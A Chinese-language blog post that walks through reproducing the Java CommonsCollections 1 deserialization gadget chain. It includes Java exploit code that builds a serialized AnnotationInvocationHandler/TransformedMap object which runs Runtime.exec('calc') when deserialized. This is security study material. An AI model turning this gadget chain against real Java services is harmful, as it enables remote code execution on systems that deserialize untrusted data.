cc1调用链

1. 配置环境:

cc1调用链需要环境如下:

  1. 下载jdk 8u65 Oracle JDK 8u65 全平台安装包下载 - 码霸霸 (lupf.cn)
  2. 导入坐标如下
1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
  1. 解压jdk1.8.0_65下是src文件,将jdk1.8.0_65源码中的src/share/clasess/sun添加到你配置的1.8.0_65中的src目录中。

教程:

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

2. 思路:

image-20231023230226781

从调用危险方法到调用顶层readObject实现反序列化

3. 探索:

3.1 简单找个危险函数:

- 突破口 transform方法:

找到一个接口,查看他的实现类

image-20231023230454765

找到一个InvokerTranformer类的transform方法,接收参数是可控的,即获取了当前传入obejct类,然后调用反射去调用成员变量的函数名和函数参数,找到他的构造函数

image-20231023230819092

第一个参数是方法名,第二个参数是参数类型,第三个参数是参数值。我们通过构造函数然后去调用transform方法即可调用我们传入类的方法了。

我们任意调用的方法是这样的Runtime.getRuntime().exec("calc");这里使用InvokerTransformer就是这样:

1
2
3
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
.transform(runtime);

- 解决Runtime不能反序列化

找到突破口之后,我们要想readObject方法是反序列化才会使用,但是Runtime没有实现SSerializable方法,因此不能实现反序列化。

如何解决?Class类都是可序列化的,因此我们序列化Runtime.class

查看源码发现,Runtime类的构造方法都是私有的,只有一个静态方法getRuntime返回currentRuntime,用到的是单例模式。因此只能反射调用getRuntime

1
2
3
4
5
// InvokerTransformer 传入形参会通过反射进行调用
Class<Runtime> runtimeClass = Runtime.class;
Method runtimeClassMethod = runtimeClass.getMethod("getRuntime");
Runtime r = (Runtime) runtimeClassMethod.invoke(null, null);
runtimeClass.getMethod("exec", String.class).invoke(r, "calc");
  • 首先获取Runtime.class这个class对象
  • 然后调用getRuntime静态方法获取当前的runtimeClassMethod方法。
  • 然后使用runtimeClassMethod方法类去invoke,即调用getRuntime方法,invoke方法第一个参数是类的实例对象,第二个参数是这个方法执行的参数。因为需要Runtime类才能调用这个私有方法,因此第一个参数是我们上面获取到的对象。

3.2 TransformedMap类:

上面我们查找到了调用TransformedMap类中的checkSetValue方法,我们接着网上找,发现AbstractInputCheckedMapDecorator类中的内部类MapEntrysetValue方法调用了他,只要我们执行map的setValue将我们上面的Object Input传入进去就可以执行了,如下:

image-20231026162650565

发现是AbstractInputCheckedMapDecorator中的MapEntrysetValue方法。

image-20231026162832837

编写构造链如图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static void TransformedMapExp02() {
// TransformedMap 这个类继承AbstractInputCheckedMapDecorator类 重写了checkSetValue 方法
// AbstractInputCheckedMapDecorator 类中的一个匿名MapEntry类调用setValue方法 回调用checkSetValue
// 尝试调用MapEntry的set方法
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aa","bb");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
}

继续网上查询,查找谁调用了setValue()方法,发现存在许多方法,我们的目的是查找readObejct方法,在readObejct方法中调用setValue()方法既可以实现放序列化,查找到sun.reflect.annotation包中的AnnotationInnvocationHandlerreadObejct方法调用了AbstractInputCheckedMapDecorator中的setVale()方法。

image-20231026162954726

至此调用链就清楚了:

image-20231026170328365

readObjetc中的判断如下:

image-20231026172019179

  1. 将我们的map的key设置为一个注解中的成员变量,如Target注解存在一个成员变量value

image-20231026172425292

然后创建一个代理对象,去调用了我们熟悉的AbstractInputCheckedMapDecoratorsetValue方法。

image-20231026172616941

因此思路在于如何修改这个parent对象的属性,可以没有办法。查找其他transform发现ConstantTransformertransform不管输入什么都是调用他的成员变量,因此可以只要我们在创建的时候将Runtime.class赋值给他的成员变量,然后去调用transform方法就会返回Runtime.class

3.3 完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static void TransformedMapExp03() throws Exception {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("aa", "bb");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 发现是AnnotationInvocationHandler类中调用了readObejct方法,
// readObject方法中会使用到setValue方法
// 但是AnnotationInvocationHandler这个类不是public的
// 1.使用反射去获取这个类
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aClassDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassDeclaredConstructor.setAccessible(true);
// 创建对象
Object aObejct = aClassDeclaredConstructor.newInstance(Override.class, transformedMap);
// 执行反序列化
serialize(aObejct);
}

private static void serialize(Object o) throws Exception {
ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("a.bin"));
stream.writeObject(o);
stream.close();
}

private static void unserialize() throws Exception {
ObjectInputStream stream = new ObjectInputStream(new FileInputStream("a.bin"));
stream.readObject();
stream.close();
}

4. 疑惑:

4.1 疑惑点一:为什么要加上new ConstantTransformer(Runtime.class)?

开始我们知道使用chainedTransformer中的transfomer方法可以方便我们去调用,我们传入多个对象就会不断循环去调用这些对象的transfomer方法。

如图:

image-20231026174119500

我们只要将我们需要传入的Runtime.class就可以实现我们的链路了。

image-20231026174331664

参考:


cc1调用链
https://pow1e.github.io/2023/10/26/漏洞中间件复现/cc链/cc1调用链1/
作者
pow1e
发布于
2023年10月26日
许可协议